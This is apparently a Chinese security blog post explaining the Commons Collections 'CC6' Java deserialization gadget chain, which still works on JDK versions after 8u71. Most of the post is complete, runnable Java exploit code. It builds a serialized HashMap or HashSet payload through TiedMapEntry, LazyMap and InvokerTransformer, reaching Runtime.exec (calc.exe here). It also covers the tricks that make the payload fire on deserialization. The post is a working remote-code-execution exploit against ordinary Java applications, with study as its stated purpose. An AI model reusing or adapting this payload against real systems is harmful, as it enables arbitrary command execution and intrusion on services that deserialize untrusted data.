System Online

Architect your
digital legacy.

ZIMU
WEB SEC

JAVA安全基础-CC6链

高版本java利用

jdk8u71以后AnnotationInvocationHandler#readObject的逻辑发生了变化,会将序列化中的map数据转存到一个新的map中,后续操作都在这个新的map进行,导致原本的攻击链失效

所以我们需要寻找一个新的链条

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/

可以看到LazyMap.get()后面的部分不变,我们只需关注前面的部分

实际上就是在上下文中寻找其他调用 LazyMap.get()的地方

这里使用的是 org.apache.commons.collections.keyvalue.TiedMapEntry

其getValue方法中调用了 this.map.get ,其hashCode方法调用了getValue方法

public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public Object getValue() {
    return this.map.get(this.key);
}

所以我们需要找到哪里 哪里调用了 TiedMapEntry#hashCode

ysoserial中,是利用 java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到TiedMapEntry#hashCode()

但java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调用

private void readObject(java.io.ObjectInputStream s){
    ……
    for (int i = 0; i < mappings; i++) {
        @SuppressWarnings("unchecked")
        K key = (K) s.readObject();
        @SuppressWarnings("unchecked")
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false);
    }
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

只需要让这个key等于TiedMapEntry对象,即可连接上前面的分析过程,构成⼀个完整的Gadget

Transformer[] fakeTransformers = new Transformer[] {new
                                                    ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class,
        Class[].class }, new Object[] { "getRuntime",
                                        new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
        Object.class,
        Object[].class }, new Object[] { null, new
                                         Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class
                                               },
                           new String[] { "calc.exe" }),
    new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

这部分和之前一样, 为了避免本地调试时触发命令执行,构造LazyMap的时候先用fakeTransformers 对象,等最后要生成成Payload的时候,再把真正的 transformers 替换进去

构造一个TiedMapEntry对象,恶意的lazyMap作为其属性

TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");

将 tme 对象作为 HashMap 的⼀个key

Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

将这个 expMap 作为对象来序列化 将真正的 transformers 数组设置 进来:

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

总结一下调用链:expMap是HashMap对象,readObject时调用hash(key)方法key为一个TiedMapEntry对象

然后会调用key.hashcode()方法,也就是TiedMapEntry对象的hashcode方法,紧接着会调用TiedMapEntry对象的getValue方法其中运行this.map.get(this.key)。this.map就是构造的lazyMap,这里的this.key就是创建tem对象时传入的字符串"keykey",而lazyMap中并没有这个键就会执行transform方法

然而运行后却没有弹出计算器

没有进入到真正的触发点

map.containsKey(key) 的结果是true

在 HashMap的put方法中,也有调用到 hash(key)

导致 LazyMap 利用链会在这里被调用一遍,但前面为 fakeTransformers 无法真正利用

可是keykey这个键在这个过程会被加载到LazyMap中,导致后面真正的利用链无法成功

解决方法就是把这个键去掉

lazyMap.remove("keykey");

ysoserial的代码,其实原理一样只是hashmap是通过hashset反射得到

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*无法在jdk16之后执行*/
public class CommonsCollections6_ysoserial {

    public static void main(String[] args) throws Exception {
        // 1. 真实的恶意 Transformer 链
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        // 2. 先使用伪造的 Transformer 初始化,防止在本地序列化对象时就触发命令
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });

        // 3. 创建 LazyMap 并用 TiedMapEntry 装饰
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");

        // 4. 使用 HashSet 作为入口点 (ysoserial CC6 的标准做法)

        HashSet expHashSet = new HashSet(1);
        expHashSet.add("dummy"); // 先占位

        //从 JDK 16 开始,Java 默认不再允许跨模块的反射访问(尤其是对 java.base 模块)
        // 获取 HashSet 内部的 HashMap
        Field mapField = HashSet.class.getDeclaredField("map");
        mapField.setAccessible(true);
        HashMap innerHashSetMap = (HashMap) mapField.get(expHashSet);


        // 将 TiedMapEntry 放入 HashSet 的内部 Map 中
        // 这样在反序列化 HashSet 时,会调用该 Map 的 put 方法,从而触发 hashCode()
        innerHashSetMap.clear();
        innerHashSetMap.put(tme, "valuevalue");

        // 5. 清理 LazyMap 中因为刚才的操作而生成的干扰键
        lazyMap.remove("keykey");


        // 6. 通过反射将真正的恶意 Transformer 链替换进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        // ===================================
        // 序列化与反序列化测试
        // ===================================

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expHashSet);
        oos.close();
        // 反序列化触发
        System.out.println("Payload 生成成功,准备模拟反序列化...");
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

入口为hashset#readObject 首先调用一个map.put

通过反射获取创建的hashset的内部的map变量向其中添加TiedMapEntry对象

当调用到map.put(tem,PRESENT)时进入下方的函数,后续过程就一样了

posted @ 2026-01-31 17:46  zimu61  阅读(3)  评论(0)    收藏  举报